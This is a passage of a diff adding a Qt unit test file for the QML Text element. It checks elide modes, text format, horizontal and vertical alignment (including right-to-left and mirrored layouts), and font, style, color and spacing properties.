+
+ qreal oldHeight = textObject->implicitHeight();
+ textObject->setWidth(100);
+ QVERIFY(textObject->implicitHeight() < oldHeight);
+ }
+}
+
+void tst_qdeclarativetext::elide()
+{
+ for (QDeclarativeText::TextElideMode m = QDeclarativeText::ElideLeft; m<=QDeclarativeText::ElideNone; m=QDeclarativeText::TextElideMode(int(m)+1)) {
+ const char* elidename[]={"ElideLeft", "ElideRight", "ElideMiddle", "ElideNone"};
+ QString elide = "elide: Text." + QString(elidename[int(m)]) + ";";
+
+ // XXX Poor coverage.
+
+ {
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(("import QtQuick 1.0\nText { text: \"\"; "+elide+" width: 100 }").toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->elideMode(), m);
+ QCOMPARE(textObject->width(), 100.);
+ }
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { "+elide+" width: 100; text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->elideMode(), m);
+ QCOMPARE(textObject->width(), 100.);
+ }
+
+ // richtext - does nothing
+ for (int i = 0; i < richText.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { "+elide+" width: 100; text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->elideMode(), m);
+ QCOMPARE(textObject->width(), 100.);
+ }
+ }
+
+ // QTBUG-18627
+ QUrl qmlfile = QUrl::fromLocalFile(SRCDIR "/data/elideimplicitwidth.qml");
+ QDeclarativeComponent textComponent(&engine, qmlfile);
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(textComponent.create());
+ QVERIFY(item != 0);
+ QVERIFY(item->implicitWidth() > item->width());
+}
+
+void tst_qdeclarativetext::textFormat()
+{
+ {
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData("import QtQuick 1.0\nText { text: \"Hello\"; textFormat: Text.RichText }", QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QVERIFY(textObject->textFormat() == QDeclarativeText::RichText);
+ }
+ {
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData("import QtQuick 1.0\nText { text: \"<b>Hello</b>\"; textFormat: Text.PlainText }", QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QVERIFY(textObject->textFormat() == QDeclarativeText::PlainText);
+ }
+}
+
+
+void tst_qdeclarativetext::alignments_data()
+{
+ QTest::addColumn<int>("hAlign");
+ QTest::addColumn<int>("vAlign");
+ QTest::addColumn<QString>("expectfile");
+
+ QTest::newRow("LT") << int(Qt::AlignLeft) << int(Qt::AlignTop) << SRCDIR "/data/alignments_lt.png";
+ QTest::newRow("RT") << int(Qt::AlignRight) << int(Qt::AlignTop) << SRCDIR "/data/alignments_rt.png";
+ QTest::newRow("CT") << int(Qt::AlignHCenter) << int(Qt::AlignTop) << SRCDIR "/data/alignments_ct.png";
+
+ QTest::newRow("LB") << int(Qt::AlignLeft) << int(Qt::AlignBottom) << SRCDIR "/data/alignments_lb.png";
+ QTest::newRow("RB") << int(Qt::AlignRight) << int(Qt::AlignBottom) << SRCDIR "/data/alignments_rb.png";
+ QTest::newRow("CB") << int(Qt::AlignHCenter) << int(Qt::AlignBottom) << SRCDIR "/data/alignments_cb.png";
+
+ QTest::newRow("LC") << int(Qt::AlignLeft) << int(Qt::AlignVCenter) << SRCDIR "/data/alignments_lc.png";
+ QTest::newRow("RC") << int(Qt::AlignRight) << int(Qt::AlignVCenter) << SRCDIR "/data/alignments_rc.png";
+ QTest::newRow("CC") << int(Qt::AlignHCenter) << int(Qt::AlignVCenter) << SRCDIR "/data/alignments_cc.png";
+}
+
+
+void tst_qdeclarativetext::alignments()
+{
+ QFETCH(int, hAlign);
+ QFETCH(int, vAlign);
+ QFETCH(QString, expectfile);
+
+#ifdef Q_WS_X11
+ // Font-specific, but not likely platform-specific, so only test on one platform
+ QFont fn;
+ fn.setRawName("-misc-fixed-medium-r-*-*-8-*-*-*-*-*-*-*");
+ QApplication::setFont(fn);
+#endif
+
+ QDeclarativeView *canvas = createView(SRCDIR "/data/alignments.qml");
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QObject *ob = canvas->rootObject();
+ QVERIFY(ob != 0);
+ ob->setProperty("horizontalAlignment",hAlign);
+ ob->setProperty("verticalAlignment",vAlign);
+ QTRY_COMPARE(ob->property("running").toBool(),false);
+ QImage actual(canvas->width(), canvas->height(), QImage::Format_RGB32);
+ actual.fill(qRgb(255,255,255));
+ QPainter p(&actual);
+ canvas->render(&p);
+
+ QImage expect(expectfile);
+
+#ifdef Q_WS_X11
+ // Font-specific, but not likely platform-specific, so only test on one platform
+ if (QApplicationPrivate::graphics_system_name == "raster" || QApplicationPrivate::graphics_system_name == "") {
+ QCOMPARE(actual,expect);
+ }
+#endif
+
+ delete canvas;
+}
+
+//the alignment tests may be trivial o.oa
+void tst_qdeclarativetext::horizontalAlignment()
+{
+ //test one align each, and then test if two align fails.
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ for (int j=0; j < horizontalAlignmentmentStrings.size(); j++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { horizontalAlignment: \"" + horizontalAlignmentmentStrings.at(j) + "\"; text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE((int)textObject->hAlign(), (int)horizontalAlignmentments.at(j));
+ }
+ }
+
+ for (int i = 0; i < richText.size(); i++)
+ {
+ for (int j=0; j < horizontalAlignmentmentStrings.size(); j++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { horizontalAlignment: \"" + horizontalAlignmentmentStrings.at(j) + "\"; text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE((int)textObject->hAlign(), (int)horizontalAlignmentments.at(j));
+ }
+ }
+
+}
+
+void tst_qdeclarativetext::horizontalAlignment_RightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
+ QDeclarativeText *text = canvas->rootObject()->findChild<QDeclarativeText*>("text");
+ QVERIFY(text != 0);
+ canvas->show();
+
+ QDeclarativeTextPrivate *textPrivate = QDeclarativeTextPrivate::get(text);
+ QVERIFY(textPrivate != 0);
+
+ // implicit alignment should follow the reading direction of RTL text
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
+ QCOMPARE(text->effectiveHAlign(), text->hAlign());
+ QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() > canvas->width()/2);
+
+ // explicitly left aligned text
+ text->setHAlign(QDeclarativeText::AlignLeft);
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignLeft);
+ QCOMPARE(text->effectiveHAlign(), text->hAlign());
+ QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() < canvas->width()/2);
+
+ // explicitly right aligned text
+ text->setHAlign(QDeclarativeText::AlignRight);
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
+ QCOMPARE(text->effectiveHAlign(), text->hAlign());
+ QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() > canvas->width()/2);
+
+ // change to rich text
+ QString textString = text->text();
+ text->setText(QString("<i>") + textString + QString("</i>"));
+ text->setTextFormat(QDeclarativeText::RichText);
+ text->resetHAlign();
+
+ // implicitly aligned rich text should follow the reading direction of text
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
+ QCOMPARE(text->effectiveHAlign(), text->hAlign());
+ QVERIFY(textPrivate->textDocument()->defaultTextOption().alignment() & Qt::AlignLeft);
+
+ // explicitly left aligned rich text
+ text->setHAlign(QDeclarativeText::AlignLeft);
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignLeft);
+ QCOMPARE(text->effectiveHAlign(), text->hAlign());
+ QVERIFY(textPrivate->textDocument()->defaultTextOption().alignment() & Qt::AlignRight);
+
+ // explicitly right aligned rich text
+ text->setHAlign(QDeclarativeText::AlignRight);
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
+ QCOMPARE(text->effectiveHAlign(), text->hAlign());
+ QVERIFY(textPrivate->textDocument()->defaultTextOption().alignment() & Qt::AlignLeft);
+
+ text->setText(textString);
+ text->setTextFormat(QDeclarativeText::PlainText);
+
+ // explicitly center aligned
+ text->setHAlign(QDeclarativeText::AlignHCenter);
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignHCenter);
+ QCOMPARE(text->effectiveHAlign(), text->hAlign());
+ QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() < canvas->width()/2);
+ QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().right() > canvas->width()/2);
+
+ // reseted alignment should go back to following the text reading direction
+ text->resetHAlign();
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
+ QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() > canvas->width()/2);
+
+ // mirror the text item
+ QDeclarativeItemPrivate::get(text)->setLayoutMirror(true);
+
+ // mirrored implicit alignment should continue to follow the reading direction of the text
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
+ QCOMPARE(text->effectiveHAlign(), QDeclarativeText::AlignRight);
+ QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() > canvas->width()/2);
+
+ // mirrored explicitly right aligned behaves as left aligned
+ text->setHAlign(QDeclarativeText::AlignRight);
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
+ QCOMPARE(text->effectiveHAlign(), QDeclarativeText::AlignLeft);
+ QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() < canvas->width()/2);
+
+ // mirrored explicitly left aligned behaves as right aligned
+ text->setHAlign(QDeclarativeText::AlignLeft);
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignLeft);
+ QCOMPARE(text->effectiveHAlign(), QDeclarativeText::AlignRight);
+ QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() > canvas->width()/2);
+
+ // disable mirroring
+ QDeclarativeItemPrivate::get(text)->setLayoutMirror(false);
+ text->resetHAlign();
+
+ // English text should be implicitly left aligned
+ text->setText("Hello world!");
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignLeft);
+ QVERIFY(textPrivate->layout.lineAt(0).naturalTextRect().left() < canvas->width()/2);
+
+#ifndef Q_OS_MAC // QTBUG-18040
+ // empty text with implicit alignment follows the system locale-based
+ // keyboard input direction from QApplication::keyboardInputDirection
+ text->setText("");
+ QCOMPARE(text->hAlign(), QApplication::keyboardInputDirection() == Qt::LeftToRight ?
+ QDeclarativeText::AlignLeft : QDeclarativeText::AlignRight);
+ text->setHAlign(QDeclarativeText::AlignRight);
+ QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
+#endif
+
+ delete canvas;
+
+#ifndef Q_OS_MAC // QTBUG-18040
+ // alignment of Text with no text set to it
+ QString componentStr = "import QtQuick 1.0\nText {}";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+ QCOMPARE(textObject->hAlign(), QApplication::keyboardInputDirection() == Qt::LeftToRight ?
+ QDeclarativeText::AlignLeft : QDeclarativeText::AlignRight);
+ delete textObject;
+#endif
+}
+
+void tst_qdeclarativetext::verticalAlignment()
+{
+ //test one align each, and then test if two align fails.
+
+ for (int i = 0; i < standard.size(); i++)
+ {
+ for (int j=0; j < verticalAlignmentmentStrings.size(); j++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { verticalAlignment: \"" + verticalAlignmentmentStrings.at(j) + "\"; text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE((int)textObject->vAlign(), (int)verticalAlignmentments.at(j));
+ }
+ }
+
+ for (int i = 0; i < richText.size(); i++)
+ {
+ for (int j=0; j < verticalAlignmentmentStrings.size(); j++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { verticalAlignment: \"" + verticalAlignmentmentStrings.at(j) + "\"; text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE((int)textObject->vAlign(), (int)verticalAlignmentments.at(j));
+ }
+ }
+
+ //confirm that bounding rect is correctly positioned.
+ QString componentStr = "import QtQuick 1.0\nText { height: 80; text: \"Hello\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+ QVERIFY(textObject != 0);
+ QRectF br = textObject->boundingRect();
+ QVERIFY(br.y() == 0);
+
+ textObject->setVAlign(QDeclarativeText::AlignVCenter);
+ br = textObject->boundingRect();
+ QCOMPARE(qFloor(br.y()), qFloor((80.0 - br.height())/2));
+
+ textObject->setVAlign(QDeclarativeText::AlignBottom);
+ br = textObject->boundingRect();
+ QCOMPARE(qFloor(br.y()), qFloor(80.0 - br.height()));
+
+ delete textObject;
+}
+
+void tst_qdeclarativetext::font()
+{
+ //test size, then bold, then italic, then family
+ {
+ QString componentStr = "import QtQuick 1.0\nText { font.pointSize: 40; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->font().pointSize(), 40);
+ QCOMPARE(textObject->font().bold(), false);
+ QCOMPARE(textObject->font().italic(), false);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nText { font.pixelSize: 40; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->font().pixelSize(), 40);
+ QCOMPARE(textObject->font().bold(), false);
+ QCOMPARE(textObject->font().italic(), false);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nText { font.bold: true; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->font().bold(), true);
+ QCOMPARE(textObject->font().italic(), false);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nText { font.italic: true; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->font().italic(), true);
+ QCOMPARE(textObject->font().bold(), false);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nText { font.family: \"Helvetica\"; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->font().family(), QString("Helvetica"));
+ QCOMPARE(textObject->font().bold(), false);
+ QCOMPARE(textObject->font().italic(), false);
+ }
+
+ {
+ QString componentStr = "import QtQuick 1.0\nText { font.family: \"\"; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->font().family(), QString(""));
+ }
+}
+
+void tst_qdeclarativetext::style()
+{
+ //test style
+ for (int i = 0; i < styles.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { style: \"" + styleStrings.at(i) + "\"; styleColor: \"white\"; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE((int)textObject->style(), (int)styles.at(i));
+ QCOMPARE(textObject->styleColor(), QColor("white"));
+ }
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QRectF brPre = textObject->boundingRect();
+ textObject->setStyle(QDeclarativeText::Outline);
+ QRectF brPost = textObject->boundingRect();
+
+ QVERIFY(brPre.width() < brPost.width());
+ QVERIFY(brPre.height() < brPost.height());
+}
+
+void tst_qdeclarativetext::color()
+{
+ //test style
+ for (int i = 0; i < colorStrings.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { color: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->color(), QColor(colorStrings.at(i)));
+ QCOMPARE(textObject->styleColor(), QColor());
+ }
+
+ for (int i = 0; i < colorStrings.size(); i++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { styleColor: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->styleColor(), QColor(colorStrings.at(i)));
+ // default color to black?
+ QCOMPARE(textObject->color(), QColor("black"));
+ }
+
+ for (int i = 0; i < colorStrings.size(); i++)
+ {
+ for (int j = 0; j < colorStrings.size(); j++)
+ {
+ QString componentStr = "import QtQuick 1.0\nText { color: \"" + colorStrings.at(i) + "\"; styleColor: \"" + colorStrings.at(j) + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->color(), QColor(colorStrings.at(i)));
+ QCOMPARE(textObject->styleColor(), QColor(colorStrings.at(j)));
+ }
+ }
+ {
+ QString colorStr = "#AA001234";
+ QColor testColor("#001234");
+ testColor.setAlpha(170);
+
+ QString componentStr = "import QtQuick 1.0\nText { color: \"" + colorStr + "\"; text: \"Hello World\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QCOMPARE(textObject->color(), testColor);
+ }
+}
+
+void tst_qdeclarativetext::smooth()
+{
+ for (int i = 0; i < standard.size(); i++)
+ {
+ {
+ QString componentStr = "import QtQuick 1.0\nText { smooth: true; text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+ QCOMPARE(textObject->smooth(), true);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"" + standard.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+ QCOMPARE(textObject->smooth(), false);
+ }
+ }
+ for (int i = 0; i < richText.size(); i++)
+ {
+ {
+ QString componentStr = "import QtQuick 1.0\nText { smooth: true; text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+ QCOMPARE(textObject->smooth(), true);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"" + richText.at(i) + "\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+ QCOMPARE(textObject->smooth(), false);
+ }
+ }
+}
+
+void tst_qdeclarativetext::weight()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE((int)textObject->font().weight(), (int)QDeclarativeFontValueType::Normal);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { font.weight: \"Bold\"; text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE((int)textObject->font().weight(), (int)QDeclarativeFontValueType::Bold);
+ }
+}
+
+void tst_qdeclarativetext::underline()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().underline(), false);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { font.underline: true; text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().underline(), true);
+ }
+}
+
+void tst_qdeclarativetext::overline()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().overline(), false);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { font.overline: true; text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().overline(), true);
+ }
+}
+
+void tst_qdeclarativetext::strikeout()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().strikeOut(), false);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { font.strikeout: true; text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().strikeOut(), true);
+ }
+}
+
+void tst_qdeclarativetext::capitalization()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE((int)textObject->font().capitalization(), (int)QDeclarativeFontValueType::MixedCase);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.capitalization: \"AllUppercase\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE((int)textObject->font().capitalization(), (int)QDeclarativeFontValueType::AllUppercase);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.capitalization: \"AllLowercase\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE((int)textObject->font().capitalization(), (int)QDeclarativeFontValueType::AllLowercase);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.capitalization: \"SmallCaps\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE((int)textObject->font().capitalization(), (int)QDeclarativeFontValueType::SmallCaps);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.capitalization: \"Capitalize\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE((int)textObject->font().capitalization(), (int)QDeclarativeFontValueType::Capitalize);
+ }
+}
+
+void tst_qdeclarativetext::letterSpacing()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().letterSpacing(), 0.0);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.letterSpacing: -2 }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().letterSpacing(), -2.);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.letterSpacing: 3 }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().letterSpacing(), 3.);
+ }
+}
+
+void tst_qdeclarativetext::wordSpacing()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().wordSpacing(), 0.0);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.wordSpacing: -50 }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
